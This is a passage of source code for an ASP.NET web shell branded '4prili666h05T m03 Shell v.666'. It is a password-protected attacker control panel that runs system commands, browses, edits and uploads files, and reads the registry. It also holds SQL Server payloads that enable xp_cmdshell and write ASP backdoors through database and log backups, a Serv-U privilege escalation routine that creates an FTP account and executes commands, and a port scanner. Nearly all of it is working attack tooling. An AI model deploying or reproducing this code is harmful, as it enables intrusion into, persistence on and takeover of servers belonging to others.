  889. e.Item.Cells[i].Text = e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  890. }
  891.  
  892. }
  893. protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  894. {
  895. Bin_DataGrid.CurrentPageIndex = e.NewPageIndex;
  896. Bin_Databind();
  897. }
  898. public void Item_Command(object sender, DataGridCommandEventArgs e)
  899. {
  900. if (e.CommandName == "Cancel")
  901. {
  902. Bin_DataGrid.EditItemIndex = -1;
  903. Bin_Databind();
  904. }
  905. }
  906.  
  907. protected void Bin_ExecButton_Click(object sender, EventArgs e)
  908. {
  909. try
  910. {
  911.  
  912. Bin_Scroll.Visible = true;
  913. Bin_DataGrid.Visible = true;
  914. Bin_DataGrid.AllowPaging = true;
  915. Bin_Accbind();
  916. if (Bin_SQLRadioButton.Checked)
  917. {
  918. Bin_DBmenuPanel.Visible = true;
  919. }
  920. string sqlstr = Bin_DBstrTextBox.Text;
  921. sqlstr = sqlstr.TrimStart().ToLower();
  922. if (sqlstr.Substring(0, 6) == "select")
  923. {
  924. DataTable databind = Bin_DataTable(sqlstr);
  925. Bin_DataGrid.DataSource = databind;
  926. Bin_DataGrid.DataBind();
  927. }
  928. else
  929. {
  930. Bin_ExecSql(sqlstr);
  931. Bin_Databind();
  932. }
  933. }
  934. catch(Exception error)
  935. {
  936. Bin_Error(error.Message);
  937. }
  938. }
  939.  
  940. protected void Bin_BDButton_Click(object sender, EventArgs e)
  941. {
  942. Bin_DBinfoLabel.Visible = false;
  943. Bin_Accbind();
  944. Bin_DBmenuPanel.Visible = true;
  945. Bin_DataGrid.Visible = false;
  946. Bin_DataGrid.AllowPaging = true;
  947. Bin_Scroll.Visible = false;
  948. Bin_DBstrTextBox.Text = "";
  949. Bin_SAexecButton.Visible = false;
  950. Bin_ResLabel.Visible = false;
  951. Bin_dirPanel.Visible = false;
  952.  
  953. }
  954.  
  955. protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  956. {
  957. Bin_DBinfoLabel.Visible = false;
  958. Bin_DataGrid.Visible = false;
  959. Bin_Scroll.Visible = false;
  960. Bin_SAexecButton.Visible = true;
  961. Bin_Change();
  962. Bin_ExecButton.Visible = false;
  963. Bin_ResLabel.Visible = false;
  964. Session["Bin_Option"] = null;
  965. Bin_dirPanel.Visible = false;
  966.  
  967. }
  968. public void Bin_Change()
  969. {
  970. Bin_ExecButton.Visible = false;
  971. string select = "<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))" + "%" + ">''' \">SP_makewebtask make file";
  972. if (Session["Bin_Option"] != null)
  973. {
  974. select += "<option SELECTED>" + Session["Bin_Option"] + "</option>";
  975. }
  976. select += "</select>";
  977. Bin_AccinfoLabel.Text = select;
  978. Bin_DataGrid.Visible = false;
  979. Bin_Scroll.Visible = false;
  980. }
  981.  
  982. protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  983. {
  984. try
  985. {
  986. Bin_Change();
  987. Bin_DBinfoLabel.Visible = false;
  988. Bin_ExecButton.Visible = false;
  989. Bin_Scroll.Visible = false;
  990. Bin_DataGrid.Visible = false;
  991. Bin_DBmenuPanel.Visible = true;
  992. string sqlstr = Bin_DBstrTextBox.Text;
  993. DataTable databind = Bin_DataTable(sqlstr);
  994. string res = "";
  995. foreach (DataRow dr in databind.Rows)
  996. {
  997. for (int i = 0; i < databind.Columns.Count; i++)
  998. {
  999. res += dr[i] + "\r";
  1000. }
  1001. }
  1002. Bin_ResLabel.Text = "<hr><div id=\"nei\"><PRE>" + res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;") + "</PRE></div>";
  1003.  
  1004.  
  1005. }
  1006. catch (Exception error)
  1007. {
  1008. Bin_Error(error.Message);
  1009. }
  1010.  
  1011. }
  1012.  
  1013. protected void Bin_DirButton_Click(object sender, EventArgs e)
  1014. {
  1015. Bin_dirPanel.Visible = true;
  1016. Bin_AccPanel.Visible = false;
  1017. Bin_DBinfoLabel.Visible = false;
  1018. Bin_DataGrid.Visible = false;
  1019. Bin_Scroll.Visible = false;
  1020. }
  1021.  
  1022. protected void Bin_listButton_Click(object sender, EventArgs e)
  1023. {
  1024. Bin_dirPanel.Visible = true;
  1025. Bin_AccPanel.Visible = false;
  1026. Bin_DBinfoLabel.Visible = false;
  1027. Bin_SqlDir();
  1028. }
  1029. public void Bin_SqlDir()
  1030. {
  1031. try
  1032. {
  1033. Bin_DataGrid.Visible = true;
  1034. Bin_Scroll.Visible = true;
  1035. Bin_DataGrid.AllowPaging = false;
  1036. string exesql = "use pubs;if exists (select * from sysobjects where id = object_id(N'[bin_dir]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400)) INSERT bin_dir EXEC MASTER..XP_dirtree '" + Bin_DirTextBox.Text + "',1,1;";
  1037. Bin_ExecSql(exesql);
  1038. DataTable sql_dir = Bin_DataTable("select * from bin_dir");
  1039. Bin_DataGrid.DataSource = sql_dir;
  1040. Bin_DataGrid.DataBind();
  1041. }
  1042. catch (Exception e)
  1043. {
  1044. Bin_Error(e.Message);
  1045. }
  1046. }
  1047.  
  1048. protected void Bin_SuButton_Click(object sender, EventArgs e)
  1049. {
  1050. Bin_CmdPanel.Visible = false;
  1051. Bin_SQLPanel.Visible = false;
  1052. Bin_SuPanel.Visible = true;
  1053. Bin_IISPanel.Visible = false;
  1054. Bin_SuresLabel.Text = "";
  1055. Bin_LoginPanel.Visible = false;
  1056. Bin_RegPanel.Visible = false;
  1057. Bin_PortPanel.Visible = false;
  1058. }
  1059.  
  1060. protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1061. {
  1062. Bin_DBinfoLabel.Visible = false;
  1063. Bin_AccPanel.Visible = false;
  1064. Bin_BakDB();
  1065. }
  1066. public void Bin_BakDB()
  1067. {
  1068. string path = Bin_DirTextBox.Text.Trim();
  1069. if (path.Substring(path.Length - 1, 1) == @"\")
  1070. {
  1071. path = path + "bin.asp";
  1072. }
  1073. else
  1074. {
  1075. path = path + @"\bin.asp";
  1076. }
  1077. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup database @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup database @b to disk = @t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1078. Bin_ExecSql(sql);
  1079. Bin_SqlDir();
  1080. }
  1081. public void Bin_BakLog()
  1082. {
  1083. string path = Bin_DirTextBox.Text.Trim();
  1084. if (path.Substring(path.Length - 1, 1) == @"\")
  1085. {
  1086. path = path + "bin.asp";
  1087. }
  1088. else
  1089. {
  1090. path = path + @"\bin.asp";
  1091. }
  1092. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup log @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1093. Bin_ExecSql(sql);
  1094. Bin_SqlDir();
  1095. }
  1096.  
  1097. protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1098. {
  1099. Bin_DBinfoLabel.Visible = false;
  1100. Bin_AccPanel.Visible = false;
  1101. Bin_BakLog();
  1102. }
  1103.  
  1104. protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1105. {
  1106. string Result = "";
  1107. string user = Bin_SunameTextBox.Text;
  1108. string pass = Bin_SupassTextBox.Text;
  1109. int port = Int32.Parse(Bin_SuportTextBox.Text);
  1110. string cmd = Bin_SucmdTextBox.Text;
  1111. string loginuser = "user " + user + "\r\n";
  1112. string loginpass = "pass " + pass + "\r\n";
  1113. string site = "SITE MAINTENANCE\r\n";
  1114. string deldomain = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1115. string setdomain = "-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1116. string newdomain = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1117. string quite = "QUIT\r\n";
  1118. try
  1119. {
  1120. TcpClient tcp = new TcpClient("127.0.0.1", port);
  1121. tcp.ReceiveBufferSize = 1024;
  1122. NetworkStream NS = tcp.GetStream();
  1123. Result = Rev(NS);
  1124. Result += Send(NS, loginuser);
  1125. Result += Rev(NS);
  1126. Result += Send(NS, loginpass);
  1127. Result += Rev(NS);
  1128. Result += Send(NS, site);
  1129. Result += Rev(NS);
  1130. Result += Send(NS, deldomain);
  1131. Result += Rev(NS);
  1132. Result += Send(NS, setdomain);
  1133. Result += Rev(NS);
  1134. Result += Send(NS, newdomain);
  1135. Result += Rev(NS);
  1136. TcpClient tcp1 = new TcpClient("127.0.0.1", 52521);
  1137. NetworkStream NS1 = tcp1.GetStream();
  1138. Result += Rev(NS1);
  1139. Result += Send(NS1, "user bin\r\n");
  1140. Result += Rev(NS1);
  1141. Result += Send(NS1, "pass binftp\r\n");
  1142. Result += Rev(NS1);
  1143. Result += Send(NS1, "site exec " + cmd + "\r\n");
  1144. Result += Rev(NS1);
  1145. tcp1.Close();
  1146. Result += Send(NS, deldomain);
  1147. Result += Rev(NS);
  1148. Result += Send(NS, quite);
  1149. Result += Rev(NS);
  1150. tcp.Close();
  1151. }
  1152. catch (Exception error)
  1153. {
  1154. Bin_Error(error.Message);
  1155. }
  1156. Bin_SuresLabel.Text = "<div id=\"su\"><pre>" + Result + "</pre></div>";
  1157.  
  1158.  
  1159. }
  1160. protected string Rev(NetworkStream instream)
  1161. {
  1162. string Restr = "";
  1163. if (instream.CanRead)
  1164. {
  1165. byte[] buffer = new byte[1024];
  1166. instream.Read(buffer, 0, buffer.Length);
  1167. Restr = Encoding.ASCII.GetString(buffer);
  1168. }
  1169. return "<font color = red>" + Restr + "</font><br>";
  1170.  
  1171. }
  1172. protected string Send(NetworkStream instream,string Sendstr)
  1173. {
  1174. if (instream.CanWrite)
  1175. {
  1176. byte[] buffer = Encoding.ASCII.GetBytes(Sendstr);
  1177. instream.Write(buffer, 0, buffer.Length);
  1178. }
  1179. return "<font color = blue>" + Sendstr + "</font><br>";
  1180. }
  1181. protected void Bin_IISButton_Click(object sender, EventArgs e)
  1182. {
  1183. Bin_LoginPanel.Visible = false;
  1184. Bin_MainPanel.Visible = false;
  1185. Bin_MenuPanel.Visible = true;
  1186. Bin_FilePanel.Visible = false;
  1187. Bin_CmdPanel.Visible = false;
  1188. Bin_SQLPanel.Visible = false;
  1189. Bin_SuPanel.Visible = false;
  1190. Bin_IISPanel.Visible = true;
  1191. Bin_RegPanel.Visible = false;
  1192. Bin_PortPanel.Visible = false;
  1193. Bin_iisLabel.Text = Bin_iisinfo();
  1194.  
  1195. }
  1196.  
  1197. protected void Bin_PortButton_Click(object sender, EventArgs e)
  1198. {
  1199. Bin_MenuPanel.Visible = true;
  1200. Bin_LoginPanel.Visible = false;
  1201. Bin_CmdPanel.Visible = false;
  1202. Bin_SQLPanel.Visible = false;
  1203. Bin_SuPanel.Visible = false;
  1204. Bin_IISPanel.Visible = false;
  1205. Bin_RegPanel.Visible = false;
  1206. Bin_PortPanel.Visible = true;
  1207. Bin_ScanresLabel.Text = "";
  1208. }
  1209.  
  1210. protected void Bin_RegButton_Click(object sender, EventArgs e)
  1211. {
  1212. Bin_MenuPanel.Visible = true;
  1213. Bin_LoginPanel.Visible = false;
  1214. Bin_CmdPanel.Visible = false;
  1215. Bin_SQLPanel.Visible = false;
  1216. Bin_SuPanel.Visible = false;
  1217. Bin_IISPanel.Visible = false;
  1218. Bin_RegPanel.Visible = true;
  1219. Bin_PortPanel.Visible = false;
  1220. Bin_RegresLabel.Text = "";
  1221.  
  1222. }
  1223.  
  1224. protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1225. {
  1226. try
  1227. {
  1228. string regkey = Bin_KeyTextBox.Text;
  1229. string subkey = regkey.Substring(regkey.IndexOf("\\") + 1, regkey.Length - regkey.IndexOf("\\") - 1);
  1230. RegistryKey rk = null;
  1231. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_LOCAL_MACHINE")
  1232. {
  1233. rk = Registry.LocalMachine.OpenSubKey(subkey);
  1234. }
  1235. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CLASSES_ROOT")
  1236. {
  1237. rk = Registry.ClassesRoot.OpenSubKey(subkey);
  1238. }
  1239. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_USER")
  1240. {
  1241. rk = Registry.CurrentUser.OpenSubKey(subkey);
  1242. }
  1243. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_USERS")
  1244. {
  1245. rk = Registry.Users.OpenSubKey(subkey);
  1246. }
  1247. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_CONFIG")
  1248. {
  1249. rk = Registry.CurrentConfig.OpenSubKey(subkey);
  1250. }
  1251.  
  1252. Bin_RegresLabel.Text = "<br>Result : " + rk.GetValue(Bin_ValueTextBox.Text, "NULL").ToString();
  1253. }
  1254. catch (Exception error)
  1255. {
  1256. Bin_Error(error.Message);
  1257. }
  1258. }
  1259.  
  1260. protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1261. {
  1262. try
  1263. {
  1264. string res = "";
  1265. string[] port = Bin_PortsTextBox.Text.Split(',');
  1266. for (int i = 0; i < port.Length; i++)
  1267. {
  1268. res += Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i])) + "<br>";
  1269. }
  1270. Bin_ScanresLabel.Text = "<hr>" + res;
  1271. }
  1272. catch (Exception error)
  1273. {
  1274. Bin_Error(error.Message);
  1275. }
  1276. }
  1277. protected string Bin_Scan(string ip, int port)
  1278. {
  1279.  
  1280. string scanres = "";
  1281. TcpClient tcp = new TcpClient();
  1282. tcp.SendTimeout = tcp.ReceiveTimeout = 2000;
  1283. try
  1284. {
  1285. tcp.Connect(ip, port);
  1286. tcp.Close();
  1287. scanres = ip + " : " + port + " ................................. <font color=green><b>Open</b></font>";
  1288. }
  1289. catch (SocketException e)
  1290. {
  1291. scanres = ip + " : " + port + " ................................. <font color=red><b>Close</b></font>";
  1292. }
  1293. return scanres;
  1294. }
  1295. </script>
  1296.  
  1297.  
  1298.  
  1299.  
  1300.  
  1301.  
  1302. <html xmlns="http://www.w3.org/1999/xhtml" >
  1303. <head runat="server">
  1304.  
  1305. <title>4prili666h05T m03 Shell v.666</title>
  1306.  
  1307. <style type="text/css">
  1308. body{
  1309. background-attachment: fixed;
  1310. background-image: url(https://timsterhowdarei.files.wordpress.com/2010/06/hackerbynight-431284.jpeg);
  1311. background-color:#0A0A0A;color:#e1e1e1;
  1312. opacity: 0.7;
  1313. }
  1314. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#FFFFFF; }
  1315. table.info{ color:#fff; background-color:#000000; }
  1316. span,a{ color: #00b3ff !important; }
  1317. span{ font-weight: bolder; }
  1318. h1{ border-center:5px solid #00b3ff;padding: 2px 5px;font: 14pt Verdana;background-color:#000000;margin:0px;color:red; }
  1319. div.content{ padding: 5px;margin-center:5px;background-color:#333; }
  1320. a{ text-decoration:none; }
  1321. a:hover{ text-decoration:underline; }
  1322. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  1323. .bigarea{ width:100%;height:250px; }
  1324. input,textarea,select{ margin:0;color:#fff;background-color:#000000;border:1px solid #00b3ff; font: 9pt Monospace,'Courier New'; }
  1325. form{ margin:0px; }
  1326. #toolsTbl{ text-align:center; }
  1327. .toolsInp{ width: 300px }
  1328. .main th{text-align:center;background-color:#5e5e5e;}
  1329. .main tr:hover{background-color:#000000;}
  1330. .l1{background-color:#444}
  1331. .l2{background-color:#333}
  1332. pre{font-family:Courier,Monospace;}
  1333. </style>
  1334. </style>
  1335.  
  1336. <script type="text/javascript" language="javascript" >
  1337. function Command(cmd, str)
  1338. {
  1339. var strTmp = str;
  1340. var frm = document.forms[0];
  1341. if(cmd == 'del')
  1342. {
  1343. if(confirm('Del It ?'))
  1344. {
  1345. frm.todo.value = str;
  1346. frm.goaction.value = cmd;
  1347. frm.submit();
  1348. }
  1349. else return;
  1350. }
  1351. if (cmd == 'change')
  1352. {
  1353. frm.todo.value = str;
  1354. frm.goaction.value = cmd;
  1355. frm.submit();
  1356. }
  1357. if (cmd == 'down')
  1358. {
  1359. frm.todo.value = str;
  1360. frm.goaction.value = cmd;
  1361. frm.submit();
  1362. }
  1363. if (cmd == 'showatt')
  1364. {
  1365. frm.todo.value = str;
  1366. frm.goaction.value = cmd;
  1367. frm.submit();
  1368. }
  1369. if (cmd == 'edit')
  1370. {
  1371. frm.todo.value = str;
  1372. frm.goaction.value = cmd;
  1373. frm.submit();
  1374. }
  1375. if (cmd == 'deldir')
  1376. {
  1377. if(confirm('Del It ?'))
  1378. {
  1379. frm.todo.value = str;
  1380. frm.goaction.value = cmd;
  1381. frm.submit();
  1382. }
  1383. else return;
  1384. }
  1385. if(cmd == 'rename' )
  1386. {
  1387. frm.goaction.value = cmd;
  1388. frm.todo.value = str + ',';
  1389. str = prompt('Please input new filename:', strTmp);
  1390. if(str && (strTmp != str))
  1391. {
  1392. frm.todo.value += str;
  1393. frm.submit();
  1394. }
  1395. else return;
  1396. }
  1397. if(cmd == 'renamedir' )
  1398. {
  1399. frm.goaction.value = cmd;
  1400. frm.todo.value = str + ',';
  1401. str = prompt('Please input new foldername:', strTmp);
  1402. if(str && (strTmp != str))
  1403. {
  1404. frm.todo.value += str;
  1405. frm.submit();
  1406. }
  1407. else return;
  1408. }
  1409. if (cmd == 'postdata')
  1410. {
  1411. frm.todo.value = str.value;
  1412. frm.goaction.value = cmd;
  1413. frm.submit();
  1414. }
  1415. if (cmd == 'changedata')
  1416. {
  1417. frm.todo.value = str.value;
  1418. frm.intext.value = str.options[str.selectedIndex].innerText
  1419. frm.goaction.value = cmd;
  1420. frm.submit();
  1421. }
  1422. }
  1423.  
  1424. </script>
  1425. </head>
  1426.  
  1427.  
  1428. <body align="center">
  1429. <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="1270px" align="center">
  1430. <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1431. <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1432. <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1433. 4prili666h05T was Here -> <a href="https://www.facebook.com/aprilighost666" target="_blank">Find Me for Pass \m/</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="1270px" align="center">
  1434. <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1435. <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="System" />
  1436. <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="Reverse Server" />
  1437. <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="Explorer" />
  1438. <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1439. <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="Database" />&nbsp;<asp:Button
  1440. ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1441. <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1442. <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1443. <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1444. <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Copyright (C) 2015 4prili666h05T -> <a href="https://www.facebook.com/aprilighost" target="_blank">https://4prili666h05t.my.id/</a> -> <a href="http://www.rootkit.net.cn/index.aspx" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1445. <asp:Panel ID="Bin_MainPanel" runat="server" Width="1270px" EnableViewState="False" Visible="False" Height="20px">
  1446. <div style="text-align: center"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False" ></asp:Label></div></asp:Panel><div style="text-align: center">
  1447. <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: center"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1448. <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile : "></asp:Label>
  1449. <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1450. <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1451. <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1452. <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1453. <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1454. runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1455. <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1456. <br />
  1457. <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1458. &nbsp;
  1459. <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1460. <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1461. <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1462. <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1463. <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1464. <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1465. <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1466. FileName :
  1467. <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1468. <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1469. <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1470. <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1471. <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1472. <br />
  1473. CreationTime :
  1474. <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1475. LastWriteTime :
  1476. <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1477. LastAccessTime :
  1478. <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1479. <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1480. <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1481. <hr />
  1482. </asp:Panel></div>
  1483. <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1484. Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1485. <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1486. <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1487. ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1488. <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="1270px"><hr />
  1489. CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1490. Argument :
  1491. <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1492. <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1493. <div style="text-align: center">
  1494. <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1495. <hr /></asp:Panel>
  1496. <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="1270px">
  1497. <hr />
  1498. ConnString :
  1499. <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1500. <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1501. <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
  1502. <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1503. <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1504. <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1505. <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1506. <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: center">
  1507. <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1508. <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1509. <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1510. <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1511. <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1512. <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1513. <div style="text-align:center">
  1514. <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1515. <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1516. Path :
  1517. <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1518. <br />
  1519. <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1520. ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1521. <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1522. <br /><br />
  1523. <div style="overflow:scroll; text-align:center; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
